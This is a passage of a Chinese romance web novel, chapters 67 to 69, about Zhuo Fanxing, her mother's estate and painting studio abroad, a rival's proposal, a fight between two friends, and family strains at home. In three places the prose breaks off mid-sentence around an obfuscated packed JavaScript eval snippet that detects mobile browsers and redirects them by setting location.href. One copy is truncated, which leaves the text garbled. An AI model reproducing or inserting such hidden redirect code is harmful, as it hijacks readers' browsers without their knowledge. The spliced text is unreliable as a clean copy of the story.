姚灵均无奈叹气。“实在是他家里的冰箱太过贫瘠,看起来这么大的地方,里面竟然什么都没有,只有罐头,喏。”她点了点盛在盘子里的午餐肉。“噢,他这里的蔬菜都不过夜的,保姆都要处理掉。真是瞎讲究。” “我晚上睡哪里?”吃的解决完了,姚灵均问。如果翁乐仪想陪着灿灿,那她也可以自己睡一间。她是很乐意这样做的,相信蒋凌洲不至于连一间卧房都不肯给她。她方才看过了,这里足足有三百多平。全是他一个人的。想到自己买房子的窘境,真是人比人气死人。 翁乐仪说:“你们一个房间吧。我睡另一间。” 姚灵均稍显诧异,不过立即为他的从容感到欣慰,看看,这便是正主的从容,瞧瞧蒋凌洲,一副小三做派。 相比于翁乐仪的淡定,卓繁星则显得迟疑。 她往他那儿看一眼,又一眼,翁乐仪说去洗澡,她点了点头,眼睛送着他出去。 翁乐仪进了房间,几乎是倒在那张单人沙发上。 “乐仪。”蒋凌洲是来送衣服了,见了他的状况,蹙眉道:“我去叫医生来一趟。” 翁乐仪拦住他。“不用,很正常。戴的时间久了就会这样。给我拿点止痛药就好。”他将假肢卸下来。 “戴了多久?”蒋凌洲将药箱拿过来。他已经打过电话,最好检查一下他那条腿的状况。他把止痛药拿出来,还有一些利卡多因贴片。 翁乐仪吞下药,含糊道:“从上飞机到现在。” “那你真的很厉害了。”蒋凌洲似嘲非嘲地丢下一句,随即起身去卫生间搓了一块温热的毛巾。 西裤被撩起来,露出发红发肿的残肢,还有一些隐隐的气味。包裹处的皮肤发皱,显出不正常的蜷缩。 蒋凌洲不忍再看,转去看他的脸。 “擦完了没?擦完了擦腿。” 翁乐仪无语,笑了。“能不能做个人。” “这东西你最好明天别带了,我给你找个医生来按摩一下。” 蒋凌洲不是没见过,那个时候翁乐仪做完手术,他们都去看过。陈跃、李敬几个,还有刘清华,他们从小一起长大,还能开开他的玩笑。 比如那条假腿,以后踢球可不敢随便铲他。 处理完,翁乐仪捋了一把微湿的头发,疲倦地叹了口气。 “清子还好吗?” 蒋凌洲说:“在治疗。你要去看他吗?” “看时间。不一定来得及。” 蒋凌洲知道,他肯定要和卓繁星一起回去。安静了一会儿,他拿起那只假肢观摩,不甚在意地开口。“那天你在,你不打?”他抬头,触到翁乐仪的视线,会心一笑。“你也要打。咱们两个组合双打。” 他拿起假肢挥舞了一下。翁乐仪无奈抚脸。 “咱们两个又不是没干过。” “还好没出事,残疾的滋味可不好受。” 蒋凌洲收了些笑。“你关心关心自己吧。” 门小声地被打开,卓繁星探出小半个脑袋,立即被他们锁定。她有些惊愕地睁大眼睛,却没像从前一样立刻遁走。 “灿灿。”翁乐仪把烟按灭,以为她有什么事。 卓繁星没有说,披着针织衫的身子很单薄,短短几天,就将她折磨的掉了好几斤肉。 她抿了抿唇,觉得翁乐仪不应该扔下她,还有蒋凌洲,他为什么还不走。鼻子闻到烟味,她一下拧起眉,干燥的喉咙似乎被烟燎过,瞬间咳嗽起来。 蒋凌洲慌不择路地拿下烟头,扔到烟灰缸里,然后立刻一杯水浇上去。 “要开窗吗?”他说的时候已经走到窗户边。 卓繁星终于开口了。“你们在聊什么?” 翁乐仪愣了下,方才一看见她,他就扯了扯卷在膝盖上的裤子。他的目光在她和凌洲身上犹疑。蒋凌洲似乎接收到了一些信号,摇了下手上的假肢,不在意地开口:“在聊和乐仪混合双打刘清华的计划,你要参与吗?毕竟你也在其中。” 这话遭到了翁乐仪的瞪视。蒋凌洲一副你让我你说的样子。 卓繁星愣了一下,随即笑起来。 她还是头一次在他面前露出这样轻松的表情。蒋凌洲有些怔忪,一时不知后续该说什么。怕自己一开口,又要见到她机警的样子。 “什么事?灿灿。”翁乐仪接下去讲,眉目温和地看着她。 卓繁星没说话,只是用她那双眼睛安静地望向他。她和灵均已经睡了好几个晚上了,他现在来了,她和他一起不是很正常吗。 她觉得他才是那个奇怪的人。怎么能丢下她呢。 蒋凌洲看着她还带着病容的脸,一种鲜活感却出现在她的脸上,起码对他来说是陌生的。这个姑娘在他面前,多是机警的,防备的,小心翼翼,又暗含嘲讽。 他从来没有见过她这样依恋的一面。 夜风带着微凉的气息,从窗缝里漏进来。蒋凌洲蹙了下眉,放下假肢,说:“我走了。明天我会让医生上门。”他忘了遮掩,离开这个房间。 起先卓繁星还没有察觉,毕竟她自己也病着,医生或许是为她来,可随即她就看见了那只放在沙发旁的药箱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067371|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你的腿又疼了?” 她蹲下身,卷起那条被他扯下来的裤腿。 “已经好多了。凌洲帮我处理过了。”翁乐仪试图向她保证。“真的没事了。” 卓繁星摸到他变的一绺一绺的头发,即便干了,依然有种冰冷的滑腻感。 蒋凌洲的公寓内没有方便他使用的设施,连一只带滚轮的凳子都没有。卓繁星本来想给他擦擦就好了,可翁乐仪真的很想洗澡。她只能抱着他,顺便自己再洗了一次。 浴室里,热腾腾的水汽在浴灯下旋转上升,能看清每一颗微小的粒子。他们抱在一起,亲着彼此,再埋到对方的脖子里。 穿衣服的时候,他们在镜子里看见对方,比白天的样子都年轻许多,像两个还在读书的人。或许是剥去了伪装的外壳,就同穿的衣服一样,没有防备了,便显得格外干净。 这个晚上,卓繁星终于在异国他乡睡了一个完整的觉。再没有什么爬在墙上的蜥蜴,浴缸里的女人,还有那个走错房间的,站在小时候的自己门外的那个女人。 次日,清晨的阳光刚刚洒在床铺上,厨房已经十分热闹。岛台上搁着新鲜的花束,一个靓丽的身影出现在背景里。 “林小姐,家中今天有客人。”保姆早告诉过她。 “我知道,你说了,一个腿脚不太好,那是他表弟。还有两位女士,都是我认识的朋友。” “噢,是这样吗?”保姆似信非信地看她。 林灿十分受伤,捂着心口控诉道:“简妮,你怀疑我!” “没有,没有。我肯定是相信你的,小姐。”保姆可怜巴巴地眨眼睛,该怎么和她讲,昨天明明雇主抱了一个女孩儿进来,且十分关心的样子。 哎,真是可怜的林小姐。 与她有同样想法的还有姚灵均。她在林灿试图从烤箱里拿出烤好的面包时,告诉她。“蒋凌洲和我说你们分手了。”她绝对不是在示威,这句话当然有歧义,可是她相信林灿能明白。 “他这样说吗?”林灿立刻捂住了心口。 姚灵均一下就后悔了。“不是,不是,我不是这个意思。他就是个渣男。我的意思是你别在他身上浪费时间了,不值得。” 林灿叹气。“可是人怎么能控制自己的心呢。” “......” 姚灵均瞬间给她贴上了一个大大的恋爱脑标签。可林灿着实没做错什么事,说起来,还是蒋凌洲太过恶劣。 她在餐桌上,看见林小姐殷勤地为他抹面包的时候,越发可惜。啊,都是惯出来的,这副死样子。他的优越感从何而来。 “灵均你想要尝尝吗?”林灿看见她看久了,还贴心地要给她抹上一只。 你看,多好的妹子,可惜了。她咬下一口香肠,很捧场地点头。“好呀,我也想试试,看着很好吃的样子。”美女来服务我吧,别盯着这个男小三了。 没眼色地死盯人家小情侣,不知道又要冒什么坏水。 可是她竟然也不生气哎,她是知道蒋凌洲对灿灿的心思的吧。姚灵均看着对灿灿微笑的林小姐,这笑容丝毫不勉强。 哎,这就是阿美莉卡吗,好神奇的关系。她默默睁大了眼睛。 这时,韩律师的电话打来。他先是询问卓繁星身体如何,交代姚馨雅的骨灰已经安放好,等这边的手续办好就能送回国内。 “还有就是姚女士的画室了。卓小姐......”他适时的顿了顿。“或许您可以来看一看再做决定。” 68. 第 68 章 餐桌上只剩下翁乐仪和林灿。 林灿要去舞团,而翁乐仪,他的腿不太方便出行,蒋凌州特意为他请了一位医生来。 林灿喝下最后一点牛奶,擦了擦嘴。“或许小翁想去看一看?” 翁乐仪没说话。她笑着道:“就当我想去,要一起吗?” 卓繁星对于画室并不积极,可毕竟是姚馨雅的心血。或许能带上一两幅回去,对于舅舅他们来说是必要的。 不同于现在的冷淡,姚馨雅是个画家这件事,曾经一度令她骄傲。她是艺术家。而她有个艺术家母亲。小学的时候,甚至到了初中,都是个值得炫耀的事。 她当然不至于张口就和别人讲,我母亲是画家。可总会有那么些场合需要自我介绍吧,还有班主任,总会问你父母是做什么的?她这时候可不会回答卓强,她只需要讲我妈妈是画家,在国外工作。 至于卓强,如果有老师追问,她就说他们离婚了,她也不知道。然后,她就会收获一些内疚或者抱歉的眼神。再加上一句:“真厉害啊,你妈妈竟然是个画家。” 【是啊,即便她们并不熟悉。甚至还没有见你见的多。】卓繁星会在心里默默补充。 可是没关系,谁知道呢。她就是顶着这样的光环一路升到高中,直到后来才避而不谈。 就是姚馨雅和翁乐仪的爸爸谈恋爱的时候。卓繁星至今不知真假,可在她听见这些风言风语不久,姚馨雅便回国了。这次她呆的格外久,似乎是和国内的画廊有合作。谁知道呢?反正那时候卓繁星是个孩子,又无关紧要,他们根本不会告诉她太多。 她很快遭到刘清华等人的敌视,就是先前讲过的那些,他们背着她讨论,说她妈妈勾引翁乐仪的爸爸,说要给他出气。 就连蒋凌州,卓繁星发誓在这之前她真的对他没有任何想法,即便她对于许筠一干人等已经心生厌烦,可是她疲于应付,她也不觉得自己有那么大的魅力。 她是在那个下午突然看破了蒋凌州的心思。那段时间,她感受到她和许筠之间越来越冷漠,她们很久没有两个人行动了,比方说练完舞之后去逛街、吃冰,回到家里还会一起发信息等等。吴梦云成了和许筠绑定的人。卓繁星其实是有些失落的,因为虽然她不乐于做跟班,但是也不想被排斥。 卓繁星想或许许筠受到了刘清华的影响,她觉得她妈妈勾引了翁乐仪的爸爸,她不好意思和她一起玩了。 可后来,很快,卓繁星就知道不是。 卓繁星在这一点上时常惊讶于自己的敏感,她为什么在当下就判断出蒋凌州对她的心思呢。即便他做了似乎和刘清华一样的事。 蒋凌州偶尔会来找许筠,卓繁星在很早之前,甚至和他们两个一起走过一段路,不会太长,她自知不能做个电灯泡。即便对于传言她和蒋凌州的暧昧,许筠通常会红着脸否认,可她红着脸了,便说明一切。 那天依然如此。 “你找许筠吗?她今天没来。”卓繁星练了好几个动作,看见他还在站在外面,遂向他解释。 他蹙眉看了眼她,那副样子绝对称不上友好。 “知道你妈的事儿吗?”他翻出手机,看了一眼又合上。 卓繁星瞬间一凛。 她没有说话。蒋凌州睨着她,依凭身高的优势,手随意翻转着那只在当时价格不菲的手机,十分从容。“让她离我姑父远点儿。” 卓繁星咬着唇说:“我不知道你在说什么。” 他终于把手机揣回兜里,插兜站着。“我发现清子说的挺对,你和你妈一样,都挺能装的。你舅妈攀着我奶奶,你妈还想嫁我姑父,有这样的道理吗?好事儿不能全让你家占了。” “这是大人的事。你和我说没用。” “反正就一句话,别做梦了。” 他气冲冲的走了,看起来倨傲冷漠。那她怎么知道的。卓繁星在镜子里看见他了,他盯着她看了很久,和那些偷偷看她的男生一模一样。 话题扯远了。总之卓繁星着实因为姚馨雅这桩绯闻吃了不少苦头。 夜里回到家,她在外面吃了一堆东西,夜市里的气味全都钻进外套里。舅妈一见她就说:“去哪里了?吃的什么?弄的这样臭。都和你讲外面的东西少吃,脏不拉叽的。” 卓繁星说:“和同学一起去的。” “许筠?”她面色稍缓。“那也不太好,万一吃坏了怎么办。她妈妈盯的这样紧,没得要赖你。” 卓繁星听话地上楼去了。下楼喝水的功夫就听他们夫妻两个在讲。“灿灿木愣愣的,还是像她爸爸。” 舅妈驳道:“你以为她爸爸不厉害?不厉害能勾的小姑娘跑。” “那不就是皮相。”姚国平顶不乐意听这桩事,于家里实在是丑闻。若没有这件事,妹妹不知道嫁的多好,半点不比蒋家女儿差,更不至于如今谈个恋爱,也要被编排。 “小姑不是皮相?”徐凤一点不怕他。 她是不指望姚馨雅嫁给翁廷川的,如今在家里,她说了算,要是真嫁了,她夹在中间,两头不讨好。 姚国平说:“那点机灵一点没学到。” “反正你们姚家都不是好东西,讨债的。她说过几天有个沙龙,我不敢去。她到底有没有和翁廷川在谈?你好歹问问?我问她,她肯定不和我讲。” 卓繁星胆子出奇的大。她实在是受姚馨雅这桩绯闻影响,还有一点,她也不想她和翁乐仪的爸爸在一起。 为什么?因为她喜欢翁乐仪呀。 她拿了邀请函去了沙龙,看见姚馨雅风光剪彩,一身打扮精致高贵。角落里,姚馨雅质问她来干什么。 卓繁星还没回答,一个外国男人上前揽住她的腰,问:“这位小姐是谁?” “家里的孩子。”卓繁星听见她这样回答。 “妈妈,你和翁......”卓繁星揪着书包袋子,忐忑地开口。 “不是你该管的事。”姚馨雅一下打断她的话。“你舅妈让你来的?让她放心,翁家门庭太高,轮不到我。” 她嘲讽地说出这番话,卓繁星先是松了一口气,随即又听出其中的哀怨。“你赶紧回去吧。”她袅袅婷婷地回转,卓繁星看见她对着那个外国人笑的热情。随后不久,她就结婚了,丈夫正是这位男士。 卓繁星看着这间画室,二层的小楼,其实并不起眼。卓繁星知道姚馨雅后来并未再有很多的产出,似乎主要还是帮助丈夫打理一些产业,在艺术品方面她能发挥自己的专长。 画室里堆叠了很多画作,墙上只有零星几幅。 “这些都是她的画吗?” “大部分是,还有一些收藏。”韩律师同她解释。“姚女士后来主要从事一些画展布置之类的工作,这里是她的私人办公室。二层放了很多她的私人物品,包括她家里的,我都收拾好,放在上面的一个箱子里。上面还有一些她特别喜欢,珍爱的画作。” 卓繁星上了楼梯,老式的木楼梯,踩起来有种嘎吱嘎吱的声音。 “灵均,这里风景很好。”她对着窗户外的花园,郁金香开的正盛。卓繁星转过头同姚灵均分享,她没上来,只有蒋凌州。他站在墙边,手一按,房间里的灯光瞬间亮起来。 卓繁星看见墙壁上挂了一幅画,特别大的一幅,因此格外瞩目——是个练舞的少女。 她穿着合身的练功服,盘起来的长发。场景是舞蹈室,少女低头侧身,侧过来半张脸正看着脚下的步伐。纱裙随着她踢起来的腿柔顺地展开一段弧度。 卓繁星看见画面右下角的小小的两个字。 【繁星】 蒋凌州看见卓繁星的睫毛轻轻颤了颤,然后小声地感叹了一句。“画的真好。” “灵均和韩律师呢?我们不是要看有没有什么要带走的。” “这里都是你的。”蒋凌州提醒道。 “谢谢,可是我觉得我不需要。” “卓繁星,乐仪不会介意的。这只是我的一个帮忙,举手之劳。” 卓繁星说:“我知道。只是我对于这些东西不感兴趣,也没能力照顾好。说起来,我想问下韩律师的费用是多少。我想不会便宜,能否用她在画室原本的股份?还是她的画,能抵一些吗?” 蒋凌州摸出烟,又搁下。“你在和我撇清关系。” 卓繁星沉默下来。“灵均在下面等我......” “我能给你的不止这些。” “我远比乐仪自由的多。姑父未必赞同你们。可我不一样。我决定的事,没人能改。” “我不明白你在说什么。” “和我结婚。”他丢下一句,不啻于在卓繁星耳边炸雷。“我想了很久,卓繁星,和我结婚吧。我能给你很多东西,不仅是这间画室。你或许不知道我在这里的经营,你可以从今以后过你想过......” 门被推开,姚灵均一副看深井冰的样子看蒋凌州,她方才被韩律师叫走,他想让她劝说灿灿接受这间画室。正聊着,一辆车子开进来,林灿带着翁乐仪来了。 然后就是刚刚那一幕。 翁乐仪说:“灵均,带她下去。” 林灿从方才起就挑着眉毛,一副看好戏的样子。 蒋凌州的目光落在她身上,她无辜地开口:“是小翁要来的。” 门重新被关上。翁乐仪脱下外套,放到椅背上。蒋凌州刚开口,就被他猛地一拳打在脸上。 蒋凌州一个踉跄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067372|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑着桌子才没倒地。外套被揪住,在下一拳来临之前他后仰躲开。 砰的一声,两个人一起砸在地上。 蒋凌州动作更快,翻身压住翁乐仪,挥出去结实的两拳。鼻子里的血流到下巴,他抹了一把,十分嫌弃,觉得两拳头打轻了。 他揪着翁乐仪的衣领,他也不好受,鼻子里也开始冒血。 “我有没有叫你今天别出来,我医生都给你叫好了。” “你他妈是不是有病。”翁乐仪瞪着眼睛,上身撑起来。“我问问不行?我他妈就要让着你。”蒋凌州话没说完,翁乐仪一脑袋就锤上去。“你让我什么了?” 到了后来,不知道过了多久,估计也就两三分钟,两个人躺在地上,气喘吁吁。 “你他妈有病。”翁乐仪坐起来,摸着脸上的血。 蒋凌州笑了一下。“这叫公平竞争。” “我警告你,离她远点儿!”翁乐仪面色冷硬,抓住他的衣领,狠狠提上来。“不然兄弟做不成。” “我只是不甘心。明明我先看见她的。”蒋凌州似乎看见多年前那个下午,他在排练室外面的时候,他特意挑着只有她一个人的时候。她以为他是去找许筠的。他早看见她了——跳累了,趴在把杆上发呆。粉白的脸,耳朵旁绕了一弯碎发,让人忍不住想绕在手指上。 “是你自己没珍惜。”翁乐仪放手,蒋凌州一下倒下去。 “白痴。” “你说什么?” “我说你傻啊。”他才不会告诉他,错过了什么。 翁乐仪说:“这间画室为什么和你有关系?” 蒋凌州没理他,爬起来拿烟。翁乐仪看见那副画,问道:“她妈妈画的?” 蒋凌州抬起下巴点烟,尽管血呼啦次,却依旧保持了某种倨傲。“是。我出钱,让她画的。” 他轻揉额头,缓缓抽着烟,又幻化为那日的场景。 “你喜欢灿灿?”那个女人坐在画架前,有些新鲜地望着他。 翁乐仪和蒋凌州露面的时候,所有人都怔住了。虽然听见里面的动静很大,有过猜测,但真的到了眼前还是不介意更吃惊一点的。 除了林灿。她哇哦了一声,然后轻声说了句“Bravo!”谁都能听出她的幸灾乐祸来。 蒋凌州说:“我记得你今天要去舞团。” 她不在意地耸肩。“哈尼,相信我,现在你更重要。看看的你脸,你快要被揍成狗了呀。” 翁乐仪一直很沉默,直到回到蒋凌州家中依旧如此。 卓繁星和姚灵均商量了一下要带哪些东西回去,不过如今她手上更紧要的是姚馨雅的一本日记,或者说记事本更恰当一些。 卓繁星没有看到很多她情感方面的表达,关于自己则就在开头。【月初记得打钱,生活费!】她要保证自己每次翻开这本本子,都能记得这件事。怎么不算是一种重视呢。 卓繁星陆续看见了,诸如回国、妈妈生日、画作截止日期等字样。其中标注2012年10月15日的日期,她画了盛放的玫瑰。【第一次约会,我收到了他的花,我感觉自己从来没有那么幸福过!!】这页被撕掉,又被重新贴好。 联系后面她的文字。【不要去在意失去的,而要抓住能抓住的。】 【一个愚蠢的借口,他甚至都不愿意敷衍我。重要的是他依旧爱着她,哪怕这个女人甩了他无数次,他依旧会和一条狗一样跟在她后面。】 卓繁星在这行字上来回看了几遍,大胆猜想,或许她真的和翁乐仪的爸爸有过一段。 翁乐仪出来的时候,她正翻到那一页。 “我妈和你爸的绯闻是真的吗?” 翁乐仪说:“我是听过他那个时候有恋爱对象,可是不确定是不是你妈妈。” “我猜是的。”卓繁星盖上那本日记。 “灿灿。”翁乐仪靠在床头,脸上的青紫像画上去的,透出点可爱。 “嗯?” “你想结婚吗?” 卓繁星愣了下。翁乐仪一只手枕在脑后,原本是看吊灯的,转为看她。 “为什么突然问这个?” “不都会考虑这个吗?” “你是因为今天蒋凌州的事?我不知道他发什么疯。”卓繁星试图和他撇清关系。 “那如果是我呢?” “什么?” “如果我向你求婚呢?” 卓繁星突然有些生气。“你们男人的胜负心都这么强的吗?” “我觉得我们可以考虑一下。” “我觉得没必要。” “为什么?” “没有为什么。”卓繁星转过去,抚平本子上折起的角。 69. 第 69 章 卓繁星回国后工作很忙碌。卓强的复查也到时间了,她实在抽不出时间陪他们去,好在他们已经熟门熟路,倒不至于让她太过担心。 到了那天,她忙完了想着打个电话,从电梯出来,看见两个人坐在门外,正是卓强和程霞。 “你们怎么过来了?” 程霞从蛇皮袋上爬起来。“哎呦,你可算来了。我想上厕所要紧了。” “灿灿。”卓强低着头,指着地上的袋子。“我拿了点腌肉、鱼干,还有两包茶叶。茶是新茶,外面吃不到。” “我没什么喝茶的习惯。”卓繁星低头开门。 “检查怎么样?” “血验出来还行,就是有两三个箭头,医生说没关系的。尿蛋白还是偏高。” “肌酐呢?” “正常,正常。” 卓繁星放心了。门一推开,小八就蹿出来。 程霞嘬嘬了两声,说:“亲人的咧,叫什么?” “小八。” “你室友养的?我刚刚就听见它在里面叫。” “我养的。” “噢,你讲过,就是这只啊。” 卓强把袋子提进来。程霞上完厕所出来说:“里面还有我做的青团和饺子,吃不完都放速冻。我自己调的青汁和馅。青团是红豆酿的,饺子做的白菜猪肉。你早上起来,蒸几个就好当早饭吃了。我给你放冰箱里。晚上就好蒸两个尝尝,味道很好的。” 卓繁星说:“我自己回来理,先出去吃饭吧。吃完饭我叫车送你们回去。” 卓强说:“不用,我们有认识的朋友。镇里做木工的,你不认识,他今天也到城里来,说好了,晚上乘他的车回去。” 程霞在边上笑着说:“对,对。” 卓繁星忙了一天,脑子有点木,愣愣道:“那先去吃饭吧。” 程霞说:“不用,你这里有厨房。袋子里有腌肉,你冰箱里有没有菜,随便烧点吃吃就好了。” “不用了,出去方便。”卓繁星话刚落,邵丽丽回来了,手上提着一把芹菜,一袋柠檬鸡爪。 “哎呦,那么刚好呀。”她听了之后说:“要不要我再去买点,超市就在下面。” 程霞拦她。“不要的,够了,够了。我自己家里做了青团,饺子,刚刚还说叫灿灿拿给你,好当早点心吃。” “谢谢阿姨。是呀,最近是吃青团的时候了,我看外面都在卖了,卖的还老贵了。” “可不是吗?我和小姐妹这两天早起去卖,3元一只,15元一盒,卖的疯起,不过也赚不了几个钱,几千块撑死了。累么累死。” “几千块很好了,顶的上我一个月工资了。阿姨还是厉害呀。” 程霞被她夸的眉开眼笑。“哪里哪里,我们跟你们不好比的呀,赚的是辛苦钱,你们做办公室的。说起来,妹妹是做什么的?”这是苏州那边的土话,叫小一辈的姑娘都叫妹妹。 “我?我是干销售的,那种美容方面的,下次阿姨要做脸跟我讲,给你优惠。” “是那种拉皮吗?弄了皱纹没有的。那种很贵的......” 她们在厨房间里说个不停,也不耽误手上功夫。卓繁星和卓强在外面客厅。卓繁星看了下卓强的报告,差不多,没什么大变化。 卓强说:“你妈那边事情都弄好了?” “差不多了。她那边有个委托律师,不用我们再过去,等骨灰寄到国内,安葬好就好了。墓地舅舅他们在联系,我不清楚。” 卓强的手搁在膝盖上,摸了两下,不知道说什么。“嗯,弄好了就好。” 程霞透过玻璃门往外看,对上邵丽丽的眼神,解释道:“灿灿妈妈的事挺突然。我和老卓听见的时候都不敢信。灿灿还好吧?” “还行,她挺坚强的。” “哎,也是没办法。我和老卓担心她憋在心里,她就是这样,什么事都不往外说,喜欢一个人扛。” 蒸锅里的青团热好了,她夹了两个出去。“你俩先垫垫肚子。” 卓繁星吃了一口。程霞擦着围裙站在边上。“怎么样?味道还行吧。” “好吃。” “你喜欢就好。”她笑起来,眼睛扫过卓强,背在后面的手拧他。 卓繁星看过去,她笑的又开了一点,很快又收回去,有种不管不顾的劲,往他们两个中间一坐,说:“灿灿啊。你妈那儿都处理好了?” “好了。” 程霞长长地噢了一声。“那她在外面这些年,她不是嫁人了么,她老公那儿,你这次过去没说起怎么安排的?我听说国外那些法律都很坏的,你别被忽悠了,那律师可不可信?我是怕你吃亏。” 卓繁星咽下嘴巴里的青团。“她老公被抓起来了,不然不用我出面。至于她的财产,她破产了,一分钱都没有。” 程霞脸色瞬间变幻,流露出一种不可置信的荒唐。她搓了搓身上的围裙,尴尬又隐有怒气地看了一眼她。“这样,这样......真的假的?你别被骗了。有没有问清楚?怎么会一点都没有,是不是她老公霸占了。” 卓繁星不讲话了,卓强推了程霞一把。“赶紧去帮忙,你让灿灿朋友一个人在厨房,像什么样。” “我,我......”她扭头看了眼他,恨道:“我就要过去了,催什么催。” 程霞回了厨房。卓强跟卓繁星解释:“你程阿姨看中镇上的铺面房,上面好住人,下面开早点心店。不能一辈子住吴家,她以为你妈那边......灿灿,你别往心里去。她没孩子,做出来最后也是你的。” 卓繁星说不出话来。 她看着卓强板寸脑袋上星星点点的白发,低着头,突出来的两条肩胛骨,变形的手指,洗不干净的指甲,明白了姚馨雅为什么要离开这个男人。 她试图在姚馨雅的日记里寻找卓强的痕迹,一点都没有。姚馨雅对于卓强来说或许也早已什么都不是。 卓繁星这顿饭吃的心不在焉,中途翁乐仪打来电话,她赶紧逃到阳台上。 “灿灿。”他的声音像从很远的地方吹来的风,带来一些宁静。 “嗯。” “韩律师有联系你吗?什么时候来京市?” 卓繁星说:“下个礼拜吧。” “好,能多请一天假吗?” 卓繁星沉默了一下。翁乐仪说:“我们一起去爷爷家吃饭。” 没有等来她的回应,他在那边又叫了她一声。“灿灿。” 卓繁星吐出一口气,将复杂的情绪都压回去。“好。” “好,到时候见。” “嗯。” 翁乐仪听出她的不安。“别怕,他真的很喜欢你。” 卓繁星又嗯了一声,这次带了点分量。 一个礼拜后,卓繁星飞往京市。 姚家不打算把丧事办的很隆重,一来时间已经过去很久了,人都烧了,二来觉得名声不好听,没得要惹闲话,不如就简单过去。 卓繁星在姚家见了姥姥姥爷,两个人神情稍显呆滞,可还算正常。舅妈说:“你姥姥知道那天一个晚上没睡觉,我生怕她出事。到了第二天,饭吃的进去,我的心就放了一半了。年纪大了,也看的开了。都是命。” 卓繁星问她:“灵均结婚的事,有影响吗?” “没那么多忌讳。就是她,那房子还没动静。我前两天听见她和胡昊天吵架,我问她她肯定不耐烦,你帮舅妈问问,什么情况?” 姚灵均根本不是藏的住事儿的。“胡昊天家里知道了,不舒服,他妈妈指桑骂槐,我听了能不跟他吵?” “那他怎么说?” “能怎么说?那是他妈。我算什么?” 卓繁星说:“这跟你买房子有什么关系?” “我不想再欠蒋家人情了不行吗?又不是没了房子活不了,怎么就一定要我背这人情债呢。” “是舅妈他们的事儿。” 姚灵均白她一眼。“你还没低头低够呢。小时候就这样,我可不稀罕。”她把脸扭过去,过了会儿问她:“姑姑的画室真不要了?” 卓繁星说:“要不起。” “也是,你离蒋凌州远点儿的好。他妈妈......”她将话吞回去。 俞秋华来送白包,徐凤客气地上去招呼:“你怎么来了,家里两个老的都说不让我通知。” “都安排好了?知道了怎么能不来,都是亲戚。妈念佛,最听不了这种事。她念了经,叫我送来。”俞秋华的眼睛落在卓繁星身上,徐凤有点尴尬地看着她。 翁乐仪后脚赶到,两人照了面,俞秋华见他往卓繁星跟前一站,这模样竟是奔着结婚去的。她心里不舒坦,又不好说什么,见着姚馨雅的骨灰送到墓地安放好,就上车离开。 临走了,喊了一声乐仪,叫他去家里吃饭,家里两个老人都惦记他。 “知道了,舅妈。” 车窗升上去,俞秋华看了一眼他边上的姑娘,想了想还是给翁廷川去了电话。 卓繁星第二天去了翁乐仪爷爷家。她自己带了一盒新茶,还有Y市的海货。“要不要买瓶酒?”卓繁星感觉好像少了点。 “他不能喝酒,买点水果吧。” 卓繁星有点局促地跟着翁乐仪,她在这上面向来就不是个能说会道,讨人欢喜的姑娘。她突然想起舅妈对她的评价:木愣愣。可不就是这样。她恨不能立马变一个人,起码活泼点,令人不觉得尴尬,不然翁爷爷怕要奇怪,怎么孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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卓繁星的心思像飘浮在空中的羽毛,又像落在海里的气球。 翁爷爷说:“要看看乐仪小时候的照片吗?” 她才算找到一点方向。 书房里的气氛剑拔弩张,翁乐仪的声音其实还很冷静。“我喜欢她。并且认真地在考虑结婚这件事。” “除开她和凌州的事,我可以告诉你我不同意的原因还有一个,就是她并不健康。” 翁乐仪有种自己听岔的错觉,这样无礼的话从他父亲嘴里说出来。“你好像忘了你儿子是个残疾人。” 书房里响起一声闷响,卓繁星一下扭头看过去,厨房里的柳姨拿着抹布急匆匆地跑出来。 “没事,没事,估计杯子不小心碰掉了。” 话音刚落,房门开了,翁乐仪走出来说:“爷爷,我们先告辞了。下次再来看你。” 春日的京市很漂亮,先是桃花、再是玉兰、梨花、丁香,到了4月,海棠便开了,一茬接着一茬,没有间隙。 卓繁星同翁乐仪走在这样的街道上,落英缤纷,有许多踏青的人。 翁乐仪说:“最近工作忙吗?” “嗯,有点。” “灿灿。”翁乐仪牵住她的手。“我下次去Y市见你爸爸吧。” 卓繁星怔怔看着他。 “怎么了?不行吗?” “你爸爸应该不喜欢我。” “你听见了。”翁乐仪不意外,爷爷家里的隔音实在不好。“对不起。他只是有点健忘。”他撇撇嘴,有些不屑的样子。 “什么?” 翁乐仪将那番话说给她听,卓繁星拍他。“你不许这样说,怪不得他要生气。” 翁乐仪笑了一下,抱住她。“所以我说他记性不好。” 一个小男孩儿跑过去,风筝在他身后飞起来,卓繁星忍不住看过去。 “他好厉害啊。” “你喜欢男孩儿还是女孩儿?” “什么?”卓繁星看着他在阳光下发光的脸,勾起的唇角,被光扎到,微眯的眼睛。 有些不好意思,翁乐仪没再说。他一只臂弯上放着外套,另一只手揽住她,缓缓走在春光下。 ...... “我们分手吧。” 卓繁星在飞机上发出这条信息便关了机。 【2013年3月5日约会】 【2013年5月18日博尔顿,约会】 【2013年10月20日太久了】 ...... 【2023年3月4日安纳西】 ...... 